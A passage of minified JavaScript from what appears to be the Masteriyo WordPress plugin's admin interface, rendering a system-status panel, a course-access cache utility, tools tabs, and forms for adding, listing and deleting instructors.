Environment","learning-management-system")),l().createElement(ht.r,{columns:[1,null,2],spacing:"4"},l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Home URL:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null==B||null===(e=B.data)||void 0===e||null===(e=e.wp_info)||void 0===e?void 0:e.home_url)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Site URL:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null==B||null===(t=B.data)||void 0===t||null===(t=t.wp_info)||void 0===t?void 0:t.site_url)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("WordPress Version:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold",color:"green.500"},null==B||null===(n=B.data)||void 0===n||null===(n=n.wp_info)||void 0===n?void 0:n.version)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Masteriyo Version:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold",color:"green.500"},null==B||null===(a=B.data)||void 0===a||null===(a=a.wp_info)||void 0===a?void 0:a.masteriyo_ver)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("WordPress Multisite:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null!=B&&null!==(r=B.data)&&void 0!==r&&null!==(r=r.wp_info)&&void 0!==r&&r.multisite?l().createElement($e.I,{as:la.CMH,color:"green",boxSize:"4"}):l().createElement($e.I,{as:la.QCr,color:"red",boxSize:"4"}))),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("WordPress Memory Limit:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold",color:"green.500"},null==B||null===(i=B.data)||void 0===i||null===(i=i.wp_info)||void 0===i?void 0:i.memory_limit)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("WordPress Debug Mode:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold",color:"green.500"},null!=B&&null!==(o=B.data)&&void 0!==o&&null!==(o=o.wp_info)&&void 0!==o&&o.debug_mode?l().createElement($e.I,{as:la.CMH,color:"green",boxSize:"4"}):l().createElement($e.I,{as:la.QCr,color:"red",boxSize:"4"}))),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("WordPress CRON:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold",color:"green.500"},null!=B&&null!==(s=B.data)&&void 0!==s&&null!==(s=s.wp_info)&&void 0!==s&&s.cron?l().createElement($e.I,{as:la.CMH,color:"green",boxSize:"4"}):l().createElement($e.I,{as:la.QCr,color:"red",boxSize:"4"}))),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Language:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null==B||null===(m=B.data)||void 0===m||null===(m=m.wp_info)||void 0===m?void 0:m.language)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("External Object Cache:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},(null==B||null===(c=B.data)||void 0===c||null===(c=c.wp_info)||void 0===c?void 0:c.external_object_cache)||"-")))),l().createElement(d.B,{direction:"column",spacing:"4"},l().createElement(ke.D,{as:"h4",size:"xs"},(0,E.__)("Server Environment","learning-management-system")),l().createElement(ht.r,{columns:[1,null,2],spacing:"4"},l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Server Info:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null==B||null===(u=B.data)||void 0===u||null===(u=u.server_info)||void 0===u?void 0:u.server_info)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("MySQL Version:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold",color:"green.500"},null==B||null===(A=B.data)||void 0===A||null===(A=A.server_info)||void 0===A?void 0:A.mysql_version)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("PHP Version:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold",color:"green.500"},null==B||null===(p=B.data)||void 0===p||null===(p=p.server_info)||void 0===p?void 0:p.php_version)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Default Timezone:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null==B||null===(y=B.data)||void 0===y||null===(y=y.server_info)||void 0===y?void 0:y.default_timezone)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("PHP Post Max Size:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold",color:"green.500"},null==B||null===(v=B.data)||void 0===v||null===(v=v.server_info)||void 0===v?void 0:v.php_post_max_size)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("fsockopen/cURL:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null!=B&&null!==(f=B.data)&&void 0!==f&&null!==(f=f.server_info)&&void 0!==f&&f.enable_fsockopen_or_curl?l().createElement($e.I,{as:la.CMH,color:"green",boxSize:"4"}):l().createElement($e.I,{as:la.QCr,color:"red",boxSize:"4"}))),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("PHP Time Limit:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null==B||null===(h=B.data)||void 0===h||null===(h=h.server_info)||void 0===h?void 0:h.php_max_execution_time)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("GZip:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null!=B&&null!==(b=B.data)&&void 0!==b&&null!==(b=b.server_info)&&void 0!==b&&b.enable_gzip?l().createElement($e.I,{as:la.CMH,color:"green",boxSize:"4"}):l().createElement($e.I,{as:la.QCr,color:"red",boxSize:"4"}))),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("cURL Version:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null==B||null===(w=B.data)||void 0===w||null===(w=w.server_info)||void 0===w?void 0:w.curl_version)),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("DOMDocument:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null!=B&&null!==(C=B.data)&&void 0!==C&&null!==(C=C.server_info)&&void 0!==C&&C.enable_domdocument?l().createElement($e.I,{as:la.CMH,color:"green",boxSize:"4"}):l().createElement($e.I,{as:la.QCr,color:"red",boxSize:"4"}))),l().createElement(Qe.a,{sx:Sh},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Multibyte String:")),l().createElement(g.E,{fontSize:"xs",fontWeight:"bold"},null!=B&&null!==(x=B.data)&&void 0!==x&&null!==(x=x.server_info)&&void 0!==x&&x.enable_mbstring?l().createElement($e.I,{as:la.CMH,color:"green",boxSize:"4"}):l().createElement($e.I,{as:la.QCr,color:"red",boxSize:"4"})))))):l().createElement(wv,null)};function Ih(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const Oh=()=>{var e=(0,We.d)(),t=new mt(rt.utilitiesRedundantEnrollments),n=(0,wt.n)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ih(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ih(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({mutationFn:()=>t.deleteResource()},{onSuccess:t=>{e({title:(0,E.__)("Course access has been refreshed successfully.","learning-management-system"),status:"success",isClosable:!0})},onError:t=>{e({title:(0,E.__)("Failed to refresh the course access.","learning-management-system"),status:"error",isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Refresh Course Access","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Improve your course access by removing temporary glitches, like duplicate enrollments, caused by website caching. This ensures your course list is up-to-date and error-free.","learning-management-system")})),l().createElement(d.B,{spacing:"4",align:"start"},l().createElement(p.$,{colorScheme:"primary",isLoading:n.isPending,variant:"outline",type:"button",onClick:()=>n.mutate()},(0,E.__)("Clear Cache","learning-management-system")))))};function Ph(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Dh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ph(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ph(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const _h=()=>{var[e,t]=(0,a.useState)(0),n=(0,a.useRef)(),{isOpen:r,onToggle:i}=(0,Ue.j)(),o=(0,vt.zy)(),s={fontWeight:"medium",pt:0,pb:["2","4"],fontSize:["xs",null,"sm"],px:["1","2","4"],color:"gray.500"},m={px:"0",py:8},c="yes"===(null==R?void 0:R.isCurrentUserAdmin);return(0,a.useEffect)((()=>{null!=o&&o.search&&o.search.includes("shortcodes")&&t(4),null!=o&&o.search&&o.search.includes("logs")&&t(2)}),[]),l().createElement(l().Fragment,null,l().createElement(d.B,{direction:"column",spacing:"8",width:"full",alignItems:"center"},l().createElement(De.m,{maxW:"container.xl",py:10},l().createElement(nm.t,{index:e,onChange:e=>{t(e)}},l().createElement(Tm.w,{borderBottom:"1px",borderColor:"gray.100",flexWrap:"wrap",mb:8,color:"gray.500"},c&&l().createElement(Um.o,{sx:s},(0,E.__)("Status","learning-management-system")),l().createElement(Um.o,{sx:s},(0,E.__)("Import / Export","learning-management-system")),c&&l().createElement(l().Fragment,null,l().createElement(Um.o,{sx:s},(0,E.__)("Logs","learning-management-system")),l().createElement(Um.o,{sx:s},(0,E.__)("Sample Courses","learning-management-system"))),l().createElement(Um.o,{sx:s},(0,E.__)("Shortcodes","learning-management-system")),c&&l().createElement(l().Fragment,null,l().createElement(Um.o,{sx:s},(0,E.__)("Utilities","learning-management-system")),l().createElement(Um.o,{sx:s},(0,E.__)("REST API","learning-management-system")),Em("migration-tool")&&l().createElement(Um.o,{sx:s},(0,E.__)("Migration","learning-management-system")),c&&l().createElement(Qe.a,{as:"button",type:"button",sx:Dh(Dh({},s),{},{background:"transparent",border:"0",display:"inline-flex",alignItems:"center",cursor:"pointer"}),onClick:e=>{e.preventDefault(),e.stopPropagation(),i()},onKeyDown:e=>{"Enter"!==e.key&&" "!==e.key||(e.preventDefault(),i())},"aria-haspopup":"dialog","aria-label":(0,E.__)("Open Setup Wizard","learning-management-system")},(0,E.__)("Setup Wizard","learning-management-system")))),l().createElement(Qe.a,{bg:"white",py:4,px:10,border:"1px",borderColor:"gray.100",rounded:"base"},l().createElement(Wm.T,null,c&&l().createElement(Km.K,{sx:m},l().createElement(Bh,null)),l().createElement(Km.K,{sx:m},l().createElement(rh,null)),c&&l().createElement(Km.K,{sx:m},l().createElement(sh,null)),c&&l().createElement(Km.K,{sx:m},l().createElement(hh,null)),l().createElement(Km.K,{sx:m},l().createElement(xh,null)),c&&l().createElement(Km.K,{sx:m},l().createElement(Oh,null)),c&&l().createElement(Km.K,{sx:m},l().createElement(vh,null)),c&&Em("migration-tool")&&l().createElement(Km.K,{sx:m},l().createElement(Wf,null)),c&&l().createElement(Km.K,{sx:m})))))),l().createElement(Ke.Lt,{isCentered:!0,isOpen:r,onClose:i,size:"md",leastDestructiveRef:n,closeOnOverlayClick:!1},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Proceed to Setup Wizard?","learning-management-system")),l().createElement(x.c,null,(0,E.__)("You are about to leave this page and open the Setup Wizard.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{onClick:i,variant:"outline"},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{onClick:()=>window.location.replace(R.onBoardingPageUrl)},(0,E.__)("Confirm","learning-management-system"))))))))};function kh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Qh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?kh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):kh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const zh=()=>{var e,t,n,r,i,o,m=(0,vt.Zp)(),c=new mt(rt.roles),u=(0,Je.mN)(),{handleSubmit:g,register:A,control:y,formState:{errors:f},setValue:h}=u,b=(0,We.d)(),w=(0,s.jE)(),C=new mt(rt.instructors),x=(0,Pn.I)({queryKey:["roles"],queryFn:()=>c.get()}),S=(0,Je.FH)({name:"roles",control:y,defaultValue:[]}),B=(0,wt.n)(Qh({mutationFn:e=>C.store(e)},{onSuccess:e=>{we(w,["instructorsList",{order:"desc",orderby:"registered"}],e),w.invalidateQueries({queryKey:["instructorsList"]}),b({title:(0,E.__)("New instructor added successfully.","learning-management-system"),isClosable:!0,status:"success"}),m(Pt.users.instructors.list)},onError:e=>{b({title:null==e?void 0:e.message,isClosable:!0,status:"error"})}}));return(0,a.useEffect)((()=>{var e;h("roles",[Qh({},null==x||null===(e=x.data)||void 0===e?void 0:e.find((e=>"masteriyo_instructor"===(null==e?void 0:e.value))))])}),[null==x?void 0:x.data,h]),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.users.instructors.add,_activeLink:on,isActive:!0},(0,E.__)("Add New Instructor","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl",mt:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.users.instructors.list},l().createElement(Dl,null))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(Je.Op,u,l().createElement("form",{onSubmit:g((e=>{if(null==S||!S.find((e=>"masteriyo_instructor"==(null==e?void 0:e.value))))return b({status:"error",title:(0,E.__)("Instructor role is missing.","learning-management-system"),isClosable:!0});var t=H(e.roles);B.mutate(ne(ee(e,{status:rA.Active,roles:$(t)?["masteriyo_instructor"]:t})))}))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{direction:["column","column","row","row"],spacing:"6"},l().createElement(d.B,{py:"3",spacing:"3",flex:"1"},l().createElement(ke.D,{as:"h2",fontSize:"lg"},(0,E.__)("Name","learning-management-system")),l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Username","learning-management-system"),l().createElement(tl,{label:(0,E.__)("You cannot change username later.","learning-management-system")})),l().createElement(Ma.p,A("username"))),l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Password","learning-management-system"),l().createElement("span",{style:{color:"red"},className:"required"},"*")),l().createElement(Ma.p,(0,Re.A)({type:"password"},A("password",{required:(0,E.__)("Password is required.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==f?void 0:f.password)&&(null==f||null===(e=f.password)||void 0===e?void 0:e.message))),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.first_name)},l().createElement(Ge.l,null,(0,E.__)("First Name","learning-management-system")),l().createElement(Ma.p,A("first_name")),l().createElement(ui.Wt,null,(null==f?void 0:f.first_name)&&(null==f||null===(t=f.first_name)||void 0===t?void 0:t.message))),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.last_name)},l().createElement(Ge.l,null,(0,E.__)("Last Name","learning-management-system")),l().createElement(Ma.p,A("last_name")),l().createElement(ui.Wt,null,(null==f?void 0:f.last_name)&&(null==f||null===(n=f.last_name)||void 0===n?void 0:n.message))),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.nickname)},l().createElement(Ge.l,null,(0,E.__)("Nickname","learning-management-system")),l().createElement(Ma.p,A("nickname")),l().createElement(ui.Wt,null,(null==f?void 0:f.nickname)&&(null==f||null===(r=f.nickname)||void 0===r?void 0:r.message))),null!=R&&R.isCurrentUserAdmin?l().createElement(Ne.MJ,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Roles","learning-management-system")),l().createElement(Je.xI,{name:"roles",control:y,render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(Di,{onChange:t,value:n,closeMenuOnSelect:!1,isMulti:!0,isLoading:x.isLoading,options:null==x?void 0:x.data,noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("No role found.","learning-management-system"):(0,E.__)("No Roles.","learning-management-system")}})}})):null),l().createElement(d.B,{py:"3",spacing:"3",flex:"1"},l().createElement(ke.D,{as:"h2",fontSize:"lg"},(0,E.__)("Contact Info","learning-management-system")),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.email)},l().createElement(Ge.l,null,(0,E.__)("Email address","learning-management-system"),l().createElement("span",{style:{color:"red"},className:"required"},"*")),l().createElement(Ma.p,(0,Re.A)({type:"email"},A("email",{required:(0,E.__)("Email is required.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==f?void 0:f.email)&&(null==f||null===(i=f.email)||void 0===i?void 0:i.message))),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.url)},l().createElement(Ge.l,null,(0,E.__)("Website URL","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"url"},A("url"))),l().createElement(ui.Wt,null,(null==f?void 0:f.url)&&(null==f||null===(o=f.url)||void 0===o?void 0:o.message))))),l().createElement(Qe.a,{py:"3"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:B.isPending},(0,E.__)("Add Instructor","learning-management-system")),l().createElement(p.$,{variant:"outline",isDisabled:B.isPending,onClick:()=>m(Pt.users.instructors.list)},(0,E.__)("Cancel","learning-management-system"))))))))))};var qh=()=>{var e=(0,vt.zy)(),t=(0,vt.Zp)(),n=e.pathname.includes("/instructors");return l().createElement(l().Fragment,null,l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(yn,{sx:rn.larger},l().createElement(l().Fragment,null,l().createElement(fn,{key:"Students",as:v.k2,_activeLink:on,to:Pt.users.students.list},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Students","learning-management-system"))),l().createElement(fn,{key:"Instructors",as:v.k2,_activeLink:on,to:Pt.users.instructors.list},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Instructors","learning-management-system"))))),l().createElement(yn,{sx:rn.smaller},l().createElement(Rn.W,null,l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.FwF,{style:{fontSize:25}}),style:{background:"#FFFFFF",boxShadow:"none"},color:"primary.500",visibility:"visible"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{key:"Students"},l().createElement(fn,{as:v.k2,sx:{color:"black",height:"20px"},_activeLink:{color:"primary.500"},to:Pt.users.students.list},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Students","learning-management-system")))),l().createElement(Kn.D,{key:"Instructors"},l().createElement(fn,{as:v.k2,sx:{color:"black",height:"20px"},_activeLink:{color:"primary.500"},to:Pt.users.instructors.list},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Instructors","learning-management-system")))))))),l().createElement(Kt,null,l().createElement(Nt,{onClick:()=>{t(n?Pt.users.instructors.add:Pt.users.students.add)},leftIcon:l().createElement(Dn.A,null)},n?(0,E.__)("Add New Instructor","learning-management-system"):(0,E.__)("Add New Student","learning-management-system"))))))};const Fh=l().memo(qh);const jh=e=>{var{data:t,onDeletePress:n,setBulkIds:a,bulkIds:r,isLoading:i}=e;return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:i,isChecked:r.includes(t.id.toString()),onChange:e=>a(e.target.checked?[...r,t.id.toString()]:r.filter((e=>e!==t.id.toString())))})),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column"},l().createElement(d.B,{direction:"row",spacing:"1"},l().createElement(je.N,{as:v.N_,to:Pt.users.instructors.edit.replace(":userId",null==t?void 0:t.id.toString()),fontWeight:"semibold",fontSize:"sm",_hover:{color:"primary.500"}},"#".concat(null==t?void 0:t.id," ").concat(null==t?void 0:t.first_name," ").concat(null==t?void 0:t.last_name)," "),rA.Active===(null==t?void 0:t.status)?l().createElement($n.m,{label:(0,E.__)("Approved Instructor","learning-management-system"),hasArrow:!0,fontSize:"xs"},l().createElement(Qe.a,{as:"span",sx:en},l().createElement($e.I,{boxSize:"3",as:la.A7C,color:"green"}))):l().createElement($n.m,{label:(0,E.__)("Pending Approval","learning-management-system"),hasArrow:!0,fontSize:"xs"},l().createElement(Qe.a,{as:"span",sx:en},l().createElement($e.I,{boxSize:"3",as:la.A7C})))),l().createElement(g.E,{fontSize:"xs",color:"gray.600"},null==t?void 0:t.display_name))),l().createElement(_n.Td,null,l().createElement(g.E,{fontSize:"sm",color:"gray.600"},null==t?void 0:t.email)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"sm",color:"gray.600"},null!=t&&t.date_created?ie(null==t?void 0:t.date_created,"m/d/Y, h:i A"):(0,E.__)("N/A","learning-management-system")))),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.users.instructors.edit.replace(":userId",null==t?void 0:t.id.toString())},l().createElement(p.$,{colorScheme:"primary",variant:"outline",leftIcon:l().createElement(Da,{icon:_a,boxSize:"12px"}),size:"xs"},(0,E.__)("Edit","learning-management-system"))),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>n(t.id),icon:l().createElement(Da,{icon:ea,boxSize:"12px"})},(0,E.__)("Delete","learning-management-system")))))))};const Vh=e=>{var{setFilterParams:t,filterParams:n}=e,{handleSubmit:a,register:r}=(0,Je.mN)(),i=(0,wr.z)({onTypeFinish:e=>{t({search:e,approved:n.approved})}},800);return l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement("form",{onChange:a((e=>{t(ne(ee(e,{search:n.search})))}))},l().createElement(d.B,{direction:["column",null,"row"],spacing:"4",mt:[6,null,0]},l().createElement(aa.l,(0,Re.A)({},r("approved"),{w:"52"}),l().createElement("option",{value:""},(0,E.__)("All","learning-management-system")),l().createElement("option",{value:"true"},(0,E.__)("Approved","learning-management-system")),l().createElement("option",{value:"false"},(0,E.__)("Unapproved","learning-management-system"))),l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search by username or email","learning-management-system")},i,{onKeyDown:e=>"Enter"===e.key&&e.preventDefault()})))))};function Lh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Mh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Lh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Lh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Rh=()=>{var e,t,n,r,i,o,m,[c,u]=(0,a.useState)({order:"desc",orderby:"registered"}),y=new mt(rt.instructors),v=new mt(rt.users),h=(0,Pn.I)(Mh({queryKey:["instructorsList",c],queryFn:()=>y.list(c)},{keepPreviousData:!0})),b=(0,vt.Zp)(),[C,S]=(0,a.useState)(""),[B,I]=(0,a.useState)([]),[O,P]=(0,a.useState)(),D=(0,We.d)(),{isOpen:_,onOpen:k,onClose:Q}=(0,Ue.j)(),z=(0,s.jE)(),q=(0,a.useRef)(),[F,j]=(0,a.useState)(),V=(e,t)=>u(ee(Mh(Mh({},c),{},{order:e,orderby:t}))),L=(0,Pn.I)(Mh({queryKey:["allUsers"],queryFn:()=>v.list({per_page:-1,order:"asc",orderby:"display_name",roles:["administrator","masteriyo_instructor"]})},{enabled:!!_})),M=(0,wt.n)(Mh({mutationFn:e=>y.delete(e,{reassign:F})},{onSuccess:e=>{Ce(z,["instructorsList",c],null==e?void 0:e.id),Q(),D({title:(0,E.__)("User deleted successfully.","learning-management-system"),description:"#".concat(O," ").concat((0,E.__)(" has been deleted successfully.","learning-management-system")),isClosable:!0,status:"success"}),z.invalidateQueries({queryKey:["instructorsList"]}),z.invalidateQueries({queryKey:["allUsers"]})},onError:e=>{D({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),R=e=>{P(e),S(""),I([]),k()},T=(0,wt.n)(Mh({mutationFn:()=>y.bulkDelete("delete",{ids:B,reassign:F})},{onSuccess:()=>{Q(),S(""),I([]),D({title:(0,E.__)("Users deleted successfully.","learning-management-system"),isClosable:!0,status:"success"}),z.invalidateQueries({queryKey:["instructorsList"]}),z.invalidateQueries({queryKey:["allUsers"]})},onError:e=>{D({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}));return(0,a.useEffect)((()=>{var e;null!=L&&L.isSuccess&&j((null==L||null===(e=L.data)||void 0===e||null===(e=e.data)||void 0===e||null===(e=e[0])||void 0===e?void 0:e.id)||0)}),[null==L?void 0:L.data,null==L?void 0:L.isSuccess]),(0,a.useEffect)((()=>{var e;null!=h&&h.isSuccess&&be("masteriyo-users-moderation-count",(null==h||null===(e=h.data)||void 0===e||null===(e=e.meta)||void 0===e?void 0:e.inactive)||0)}),[null==h||null===(e=h.data)||void 0===e?void 0:e.meta,null==h?void 0:h.isSuccess]),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Fh,null),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(Vh,{setFilterParams:u,filterParams:c}),l().createElement(_n.XI,null,h.isLoading&&l().createElement(Bd,null),h.isSuccess&&$(null==h||null===(t=h.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{onPrimaryButtonClick:()=>{b(Pt.users.instructors.add)},title:(0,E.__)("Add Your First Instructor","learning-management-system"),description:(0,E.__)("Grow your teaching team by adding instructors. They can create courses, manage students, and contribute to your platform's success.","learning-management-system"),primaryButtonLabel:(0,E.__)("Add New Instructor","learning-management-system"),isResultFiltered:Boolean((null==c?void 0:c.approved)||(null==c?void 0:c.search))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:h.isLoading||h.isFetching||h.isRefetching,isIndeterminate:(null==h||null===(n=h.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)!==(null==B?void 0:B.length)&&(null==B?void 0:B.length)>0,isChecked:(null==h||null===(r=h.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)===(null==B?void 0:B.length),onChange:e=>{var t;return I(e.target.checked?null==h||null===(t=h.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>{var t;return null==e||null===(t=e.id)||void 0===t?void 0:t.toString()})):[])}})),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Name","learning-management-system")),l().createElement(Sa,{filterParams:c,filterContentBy:V,orderBy:"name"}))),l().createElement(_n.Th,null,(0,E.__)("Email","learning-management-system")),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Registered On","learning-management-system")),l().createElement(Sa,{filterParams:c,filterContentBy:V,orderBy:"registered"}))),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==h||null===(i=h.data)||void 0===i||null===(i=i.data)||void 0===i?void 0:i.map((e=>l().createElement(jh,{key:null==e?void 